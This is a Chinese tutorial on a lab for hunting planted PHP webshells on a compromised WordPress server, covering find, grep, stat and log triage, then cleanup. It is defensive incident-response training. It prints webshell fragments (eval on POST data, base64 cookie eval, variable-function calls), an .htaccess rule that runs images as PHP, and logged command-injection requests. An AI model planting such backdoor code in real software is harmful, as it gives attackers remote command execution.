练习在服务器上查找webshell
对这次练习做个介绍
一个用来练习「服务器已经被入侵,把后门全找出来」的靶场。
不是打靶,是应急响应(IR)里的静态排查训练。服务器已经在攻击者手里,不知道有几个后门、不知道在哪、也不知道有没有漏,只能靠命令行自己翻。
背景
护网或者应急响应接到的电话通常是:「我们网站被挂了马,你帮看看。」
对方不会告诉你:
- 有几个后门
- 在哪个目录
- 什么时候进来的
- 从哪个漏洞进来的
大部分情况你拿到的是一个 SSH 账号,一台跑了三年、几万个文件的机器。
一个「已经被入侵」的 PHP 站点,用来练习应急响应里最核心的那一步:在一台服务器上把后门全找出来。
站点是 WordPress 结构(裁剪版),有正常访客流量、有管理员登录记录、有攻击者留下的日志。web 根目录下埋了 9 处后门,按难度分四层。
webshell是什么
一句话:一段放在服务器上、通过 HTTP 请求触发代码执行的脚本。
它能起作用必须同时满足三个条件,这三个条件同时也是排查的三个切入点:
- 能被访问到 —— 文件落在 web 根目录下,路径能拼出来
- 能被解析 ——
.php后缀,或者被.htaccess强行指定给 PHP 解释器 - 参数可控 —— 攻击者发来的内容会被当成代码或命令
后门的各种变种,本质都是在动这三个条件:
- 图片马:绕开条件 2 的检查(上传只校验图片),靠
.htaccess补上 - 混淆马:让条件 3 的入口不容易被看出来
- session 投毒:文件放不到可访问位置,等一个 LFI 漏洞来包含它
- 内存马:三个条件都不出现在磁盘上(本靶场未覆盖,但要知道存在)
为什么webshell很难查
三个原因,从易到难:
1. 量大
几万个正常文件里找几个几百字节的文件。逐个人肉看是不现实的,必须有筛选策略。
2. 会伪装
- 改时间戳,让文件看起来和站点同龄
- 改权限,或者用点开头让
ls看不见 - 拆函数名(
'sys' . 'tem'),让关键词扫描失效 - base64 编码,让人看不出逻辑
- 混进正常代码末尾,靠注释撒谎
3. 可能不止一个
删掉一个不算完。而且删文件不等于修好——只要漏洞还在,攻击者能重新放回来。
靶场里那个 session 投毒文件就在提示这件事:站点还有文件包含漏洞没被找到,投毒文件只是证据。
靶场设计
规模:25 个文件(23 个在 web 根目录,2 个在外围),9 个后门 + 1 个诱饵。
分四层,对应四种能力:
- L1:会
grep关键词就能找到 → 检验基础工具使用 - L2:能读懂上下文 → 检验「这段代码的业务理由是不是编的」这个判断力
- L3:会看元数据 → 检验是否知道要查权限、属主、隐藏文件,而不是只看内容
- L4:会解码、会想到 www 之外 → 检验排查视野
真实感来源(这些细节是刻意造的):
- 时间线分两段:基线 2025-11,入侵集中在
2026-10-20凌晨 3 点半到 3 点 44 的 6 分钟内,像人操作的速度,不是运维发版 - 后门的属主是
www-data,所在目录属主是root→ Web 进程写进 root 目录,说明有任意文件写入 - 日志里混着正常访客、Googlebot、扫描器,攻击者的 20 条请求只占一部分(这是真实噪音)
- 攻击链路完整:扫描插件 → 爆破 wp-login → 落地 shell → 传图片马 → 改
.htaccess→ 执行命令
诱饵的作用:
wp-admin/admin-ajax.php 里有 call_user_func( $handlers[ $action ] ),看着像动态调用后门,实际 $action 被白名单限制住了。
误报和不报一样有害——真实报告里塞满噪音,看报告的人会直接失去信任。
九个后门和线索的对应关系
这张对应表是整个靶场的设计核心。它说明一件事:任何一个单一维度都会漏,必须交叉。
时间线直接能捞到的(6 个)
跑一次 find -newermt 就能看到,因为它们的时间戳都停在入侵那 6 分钟里:
wp-includes/simple.phpupgrade.phpwp-content/uploads/2026/03/.htaccesswp-content/uploads/2026/03/logo.jpgwp-content/uploads/2026/03/index.php.bakwp-content/mu-plugins/loader.php
这 6 个是「及格线」。只做到这一步,说明只用了一个维度。
时间线完全看不到,必须靠内容扫描(1 个)
wp-content/themes/twentytwenty/functions.php
mtime 被 touch 回了主题安装当天,和 style.css 一模一样(2025-11-12 09:31)。find -newermt 永远抓不到它,只能靠 grep 命中那行 eval( $cache ),再读上下文判断。
这是整个靶场最重要的一课:伪造时间戳是常规操作,不是高级技巧。
时间线看不到,靠元数据兜底(1 个)
wp-content/plugins/cache/.wp-check.php
三重伪装:
- 文件名以点开头 →
ls看不见 - mtime 改到
2024-06-12→ 比站点上线还早一年 - 权限
600→ 全站唯一一个不是644的 php
发现它的方式是元数据:find -name '.*'、! -perm 644、-user www-data。
顺带一提,它的时间比目录创建时间还早,这在真实取证里是逻辑矛盾级铁证——一个文件不可能在它所在目录被创建之前就存在。
完全在 web 目录之外(1 个)
/var/tmp/sess_a3f9c2e1b7d4
所有以 /var/www/html 为根的命令都捞不到它。内容是 PHP 的 session 序列化格式,里面塞了 <?php @system(...) ?>。
正常 session 在 /var/lib/php/sessions,这个却在 /var/tmp,而且时间正好落在入侵窗口内。
它的意义不在本身——session 投毒不能自己执行,必须有 LFI 配合。发现它等于被告知:还有别的漏洞没找到。
启动
./reset.sh首次构建约 1 分钟。跑起来后:
- 站点:http://127.0.0.1:8899/
- 进容器(把它当服务器):
docker exec -it webshell-hunt bash
怎么练
- 先别开浏览器乱点,那会污染 access.log。
- 进容器,
cd /var/www/html,用ls、find、grep自己找一遍。 - 建议顺序:时间线 → 关键词 → 元数据 → 非 php 文件 → 日志 → www 之外。
一、确认现场
ls -la /var/www/htmlfind /var/www/html -type f | wc -lcat /var/www/html/wp-config.php | grep -i 'DB_\|table_prefix'Tips — find 起点 条件 动作
条件
- -type f —— 只要普通文件(-type d 是目录、-type l 是符号链接)
- -name ‘*.php’ —— 名字匹配(注意要加引号,否则被 shell 展开)
- -user www-data —— 属主是谁
- -perm 644 —— 权限正好是 644
- -newermt ‘2026-10-01’ —— 修改时间晚于这个日期
- -path ‘/uploads/’ —— 路径匹配
- ! —— 取反,加在条件前面
动作
- -print —— 默认,只打印路径
- -printf ‘格式’ —— 自定义输出,排查主力
- -ls —— 输出类似 ls -l 的详情
- -exec … ; —— 对每个结果执行命令
可以直接连接
docker exec -it webshell-hunt bashcd /var/www/htmlls -1find . -type f | wc -l- wc -l 就是数行数(每个路径一行)。
先知道站点是什么、有多少文件、数据库叫什么。
total 44drwxr-xr-x 1 root root 4096 Oct 27 01:22 .drwxr-xr-x 1 root root 4096 Dec 29 2025 ..drwxr-xr-x 1 root root 4096 Oct 27 01:14 assets-rw-r--r-- 1 root root 394 Nov 10 2025 index.php-rw-r--r-- 1 www-data www-data 814 Oct 20 03:40 upgrade.phpdrwxr-xr-x 1 root root 4096 Oct 27 01:15 wp-admin-rw-r--r-- 1 root root 2436 Nov 13 2025 wp-blog-header.php-rw-r--r-- 1 root root 855 Nov 10 2025 wp-config.phpdrwxr-xr-x 1 root root 4096 Oct 27 01:15 wp-contentdrwxr-xr-x 1 root root 4096 Oct 27 01:15 wp-includes-rw-r--r-- 1 root root 1650 Nov 10 2025 wp-login.php23define( 'DB_NAME', 'wordpress' );define( 'DB_USER', 'wp_user' );define( 'DB_PASSWORD', 'Wp!2025#Shop' );define( 'DB_HOST', 'localhost' );define( 'DB_CHARSET', 'utf8mb4' );define( 'DB_COLLATE', '' );$table_prefix = 'wp_';二、时间线
find /var/www/html -type f -newermt '2026-10-01' -printf '%TY-%Tm-%Td %TH:%TM %p\n' | sort-printf 里那些 %T 是时间格式符,T 代表 mtime(修改时间):
- %TY 年、%Tm 月、%Td 日
- %TH 时、%TM 分
- %p 完整路径
- \n 换行(必须写,不写的话所有结果会连成一行)
最后 | sort 按时间排序,这样输出就是一条漂亮的时间线。
本靶场命中 6 个。这一步性价比最高——攻击者落地文件必然改变 mtime,除非他刻意伪造。但要知道它的盲区:改了老文件再 touch 回去(第 2 条那种),时间线永远看不到。
sort2026-10-20 03:39 /var/www/html/wp-includes/simple.php2026-10-20 03:40 /var/www/html/upgrade.php2026-10-20 03:40 /var/www/html/wp-content/uploads/2026/03/.htaccess2026-10-20 03:41 /var/www/html/wp-content/uploads/2026/03/logo.jpg2026-10-20 03:43 /var/www/html/wp-content/uploads/2026/03/index.php.bak2026-10-20 03:44 /var/www/html/wp-content/mu-plugins/loader.php看目录创建时间
stat -c '%w %n' /var/www/html/wp-content/plugins/cachestat 不是 find,单独讲。-c 指定输出格式,%w 是创建时间(birth time),%n 是文件名。
为什么查这个:文件 mtime 能被 touch 改,但“文件比它所在的目录还老”是伪造不掉的逻辑矛盾。
2026-10-27 01:22:51.591398887 +0000 /var/www/html/wp-content/plugins/cache三、关键词扫瞄
grep -rnE '\b(eval|assert|system|exec|shell_exec|passthru|popen|proc_open)[[:space:]]*\(' \ /var/www/html --include='*.php'- -r 递归、-n 行号、-E 扩展正则
- \b 单词边界(防止匹配到 myeval 这种)
- (eval|assert|…) 分组,任意一个命中
- [[:space:]]* 零个或多个空白字符(防 eval ( 中间有空格)
\(转义的左括号,表示“真的有个括号”- —include=‘*.php’ 只搜 php 文件
为什么
\(要转义:在扩展正则里(有特殊含义(分组),想匹配字面意义的括号就得加反斜杠。
Tips — grep 选项 模式 文件或目录 选项
- -r —— 递归子目录(不加就只搜当层)
- -n —— 显示行号(排查必备,不然你不知道在哪改)
- -i —— 忽略大小写
- -E —— 用扩展正则(|、()、+ 才能用)
- -l —— 只输出文件名,不输出匹配内容
- -a —— 把二进制文件当文本处理
- -v —— 取反,输出不匹配的行
组合写法:-qa 就是 -q -a(-q 是安静模式,只返回成功/失败,给 && 用)。
/var/www/html/wp-content/themes/twentytwenty/functions.php:178: eval( $cache );/var/www/html/wp-includes/simple.php:3:@eval($_POST['pass']);命中 simple.php 和 functions.php。注意这条漏掉了 upgrade.php(拼接)和 loader.php(混淆),所以必须做下一步。
四、绕过关键词的形态
# 变量函数调用grep -rnE '(^|[^a-zA-Z0-9_>])\$[a-zA-Z_][a-zA-Z0-9_]*[[:space:]]*\(' /var/www/html --include='*.php' | grep -v function
# 编码/解压链grep -rn 'base64_decode\|gzinflate\|gzuncompress\|str_rot13' /var/www/html --include='*.php' --include='*.bak'- (^|[^a-zA-Z0-9_>]) —— 前面要么是行首 ^,要么是一个不属于“字母数字下划线大于号”的字符。这句是为了排除
$obj->method(和myfunction(这种情况 - $ —— 字面的美元符号(shell 里 $ 有特殊含义,正则里也要转义)
- [a-zA-Z_][a-zA-Z0-9_]* —— 变量名:字母下划线开头,后面可以跟数字
[[:space:]]*\(—— 可选的空白 + 左括号 最后 | grep -v function 把function $name(这种定义行排除掉。
没用 -E 时,| 是基本正则里的“或”。grep 不加 -E 用 | 是不生效的,必须写成 |,或者加 -E 后写 |。
/var/www/html/wp-content/mu-plugins/loader.php:21: file_put_contents( $__f, $__b( $__a( $__w ) ) );/var/www/html/wp-content/plugins/cache/.wp-check.php:5: $f( $_GET['k'] );/var/www/html/upgrade.php:38: @$fn( $arg );
/var/www/html/wp-content/plugins/cache/.wp-check.php:3:$f = base64_decode( $s );/var/www/html/wp-content/themes/twentytwenty/functions.php:172: $cache = base64_decode( $_COOKIE['wp_lang_pref'], true );/var/www/html/wp-content/uploads/2026/03/index.php.bak:8: $p = base64_decode( $_POST['z'] );两处后门在这一步才露出来。
五、文件系统元数据
# 隐藏文件find /var/www/html -name '.*' -type f
# 权限异常(全站 644,独一份)find /var/www/html -type f -name '*.php' ! -perm 644 -ls
# 属主异常(Web 进程写的,却在 root 目录里)find /var/www/html -type f -name '*.php' -user www-data ! -path '*/uploads/*' -printf '%u %M %p\n'
# 备份残留find /var/www/html \( -name '*.bak' -o -name '*.old' -o -name '*.orig' -o -name '*~' \) -type f-
.* 匹配以点开头的名字。ls 默认不显示这类文件,只有 find 或 ls -a 能看到。
-
三个条件叠加:是文件、是 php、权限不是 644。-ls 输出详情,能一眼看到 -rw------- 和日期。
-
-user www-data 找 Web 进程拥有的文件,! -path ‘/uploads/’ 排除上传目录(那里本来就该是 www-data)。剩下的就是“Web 进程写到了不该写的目录”。
-
-o 是“或”。但 find 的 -o 优先级低于 -type f,如果写成:
find /var/www/html -name '*.bak' -o -name '*.old' -type f它会被理解成:“名叫 .bak 的(不管类型)” 或 “名叫 .old 且是普通文件的”。结果 .bak 的目录也会冒出来。所以要用 把“或”的那一组括起来隔离。反斜杠是给 shell 的转义,shell 会把 还原成` ( `传给 find。 **find 里用了 -o,就要配` \(`
/var/www/html/wp-content/plugins/cache/.wp-check.php/var/www/html/wp-content/uploads/2026/03/.htaccess
225819 4 -rw------- 1 www-data www-data 99 Jun 12 2024 /var/www/html/wp-content/plugins/cache/.wp-check.php
www-data -rw-r--r-- /var/www/html/wp-content/mu-plugins/loader.phpwww-data -rw------- /var/www/html/wp-content/plugins/cache/.wp-check.phpwww-data -rw-r--r-- /var/www/html/wp-includes/simple.phpwww-data -rw-r--r-- /var/www/html/upgrade.php
/var/www/html/wp-content/uploads/2026/03/index.php.bak六、非 PHP 文件里的代码
grep -rla '<?php' /var/www/html --include='*.jpg' --include='*.png' --include='*.gif' --include='*.ico'grep -rn 'AddType\|AddHandler\|auto_prepend' /var/www/html --include='.htaccess'- -a 是关键。不加 -a,grep 遇到图片会输出一行 Binary file xxx matches(新版是 grep: xxx: binary file matches),根本不知道匹配在哪。
- -l 只给文件名,够用了。
- 注意 —include=’.htaccess’:—include 认的是文件名模式,.htaccess 是完整文件名,所以能直接匹配。
/var/www/html/wp-content/uploads/2026/03/logo.jpg/var/www/html/wp-content/uploads/2026/03/.htaccess:8:AddType application/x-httpd-php .jpg七、日志与外围
# 谁访问过后门grep -nE 'simple\.php|\.bak|wp-check|loader\.php|logo\.jpg\?' /var/log/apache2/access.log
# 谁在扫(按 IP 计数,找高频)awk '{print $1}' /var/log/apache2/access.log | sort | uniq -c | sort -rn
# www 之外find /tmp /var/tmp -type f -newermt '2026-10-01' 2>/dev/nullls -la /var/lib/php/sessions/\.是转义的点(否则 . 匹配任意字符)。最后\.jpg\?里的\?是转义的问号,因为日志里 URL 带查询串。- 按空格(或制表符)切列,打印第一列。Apache 日志第一列是客户端 IP。2 第二列,$0 是整行。
sort按字典序排序。sort -n 按数字,sort -rn 反向数字(大的在前)。uniq -c去重并计数。注意:uniq 只能处理相邻的重复行,所以必须先 sort。 这个顺序错了结果就是错的。wc -l数行数。
18:10.0.3.14 - - [20/Oct/2026:03:39:12 +0000] "POST /wp-includes/simple.php HTTP/1.1" 200 2 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"20:10.0.3.14 - - [20/Oct/2026:03:40:52 +0000] "GET /wp-content/uploads/2026/03/logo.jpg?1=id HTTP/1.1" 200 89 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"21:10.0.3.14 - - [20/Oct/2026:03:41:33 +0000] "GET /wp-content/uploads/2026/03/logo.jpg?1=cat%20/etc/passwd HTTP/1.1" 200 1824 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"23:10.0.3.14 - - [20/Oct/2026:03:43:18 +0000] "GET /wp-content/uploads/2026/03/index.php.bak HTTP/1.1" 200 232 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"24:10.0.3.14 - - [20/Oct/2026:03:45:03 +0000] "GET /wp-content/plugins/cache/.wp-check.php?k=whoami HTTP/1.1" 200 8 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"26:10.0.3.14 - - [20/Oct/2026:03:47:39 +0000] "POST /wp-content/mu-plugins/loader.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
20 10.0.3.14 6 203.0.113.44 2 66.249.66.1 1 71.6.232.18 1 172.26.0.1 1 112.65.88.201
/var/tmp/sess_a3f9c2e1b7d4total 12drwxr-xr-x 2 www-data www-data 4096 Oct 27 01:22 .drwxr-xr-x 3 root root 4096 Oct 27 01:22 ..-rw-r--r-- 1 www-data www-data 48 Mar 15 2026 sess_demo0000000000000000000000本靶场日志里 10.0.3.14 有 20 条请求,从 03:36 的探测到 03:47 的后门交互,时间线和文件 mtime 完全对得上——这就是完整证据链。
四个坑
坑 1:grep eval 会给你虚假的安全感
upgrade.php 的 'sys' . 'tem'、loader.php 的四段拼接、.wp-check.php 的 base64 函数名,这三个用关键词一条都扫不出来。必须同时扫”变量函数调用”和”编码函数”。
坑 2:时间戳可以被伪造
.wp-check.php 的 mtime 是 2024 年,比站点上线早一年。find -newermt 完全看不到它(它太老了,不在”最近改动”里)。
反过来,如果攻防演练里有人把马的时间改到 2019 年,你会以为是老文件。唯一的破绽是逻辑矛盾:文件时间早于目录创建时间。
查目录创建时间:
stat -c '%w %n' /var/www/html/wp-content/plugins/cache配合 debugfs(ext4)能拿到 inode 的 crtime,这是 touch 改不了的。Docker overlayfs 下没有这个能力,但真实物理机上有。
坑 3:主题文件被改,mtime 却没变
functions.php 的后门是原地修改,攻击者 touch -d '2025-11-12 09:31' 改回了安装时间,和 style.css 一模一样。这类只能靠内容扫描 + 和官方版本做 diff:
# 真实环境里最有效的一招curl -sO https://wordpress.org/wordpress-6.x.x.tar.gztar xzf wordpress-*.tar.gzdiff -r wordpress/wp-content/themes/twentytwenty /var/www/html/wp-content/themes/twentytwenty本靶场裁过,不能直接 diff 官方包,但方法要记住。
坑 4:call_user_func 不等于后门
admin-ajax.php:24 有 call_user_func( $handlers[ $action ] ),看着像动态调用,但 $action 被 $handlers 白名单限制在 get_theme_info / ping 两个函数里,攻击者控制不了。
误报和不报一样危险——把所有 call_user_func 都标成后门,会在真实站点上找出几十条噪音,最后没人看报告。
判断标准只有一条:这个变量能不能被请求控制,且能不能指向危险函数。
五、清理与加固
查完之后按这个顺序处理(真实环境里要先留证再动手):
# 1. 留证(先做,别急着删)mkdir -p /root/ir-$(date +%F)cp -a /var/www/html /root/ir-$(date +%F)/wwwcp -a /var/log/apache2 /root/ir-$(date +%F)/logsmd5sum $(find /var/www/html -name '*.php') > /root/ir-$(date +%F)/md5.txt
# 2. 断掉执行入口# - .htaccess 里的 AddType 删掉# - uploads 目录加 "php_flag engine off"# - 关掉 AllowOverride,或把 uploads 目录的 AllowOverride 设为 None
# 3. 换密钥# wp-config.php 里的 AUTH_KEY / SECURE_AUTH_KEY / LOGGED_IN_KEY / NONCE_KEY 全部重新生成# 数据库密码、FTP/SSH 密码全部更换
# 4. 修漏洞# session 投毒说明有 LFI;uploads 目录 www-data 可写说明上传没做校验;# 只有修掉入口,删马才有意义。-
-a 是归档模式,等于 -r + 保留权限、时间戳、属主。取证必须用 -a,否则复制出来的文件 mtime 变成当前时间,证据链就断了。
$(date +%F)展开成 2026-10-27,所以目标路径自动带上日期。 -
md5sum 文件…算 MD5。配合 $(find …) 可以给整个目录做指纹快照,事后能证明“这个文件在被检查之后没被改过”。
-
diff -r 目录A 目录B递归比较两个目录,输出差异。真实环境里最有效的一招:拿官方原版包和线上目录 diff,被改过的文件立刻现形。这比任何关键词扫描都可靠——因为它是“和正确答案比”,不是“猜特征”。 -
tar xzf 包.tar.gz解压。x 解压、z gzip、f 指定文件。
重要:只删文件不修漏洞,等于把门锁换了但窗户还开着。真实应急里”二次失陷”非常常见——攻击者留了多个入口,删一个不影响他回来。
重置
./reset.sh # 重新构建镜像,所有权限/时间戳回到初始状态练习过程中会新增 /tmp/.wpc-*.php、往 access.log 追加记录,重置即可清掉。
总结
find 目录 -type f -newermt '日期'—— 什么时候动过find 目录 -name '.*' -type f—— 藏了什么find 目录 -type f -name '*.php' ! -perm 644—— 权限不对的grep -rn '关键词' 目录 --include='*.php'—— 内容里有什么grep -rla '<?php' 目录 --include='*.jpg'—— 图片里有什么awk '{print $1}' 日志 | sort | uniq -c | sort -rn—— 谁来得最勤
文章分享
如果这篇文章对你有帮助,欢迎分享给更多人!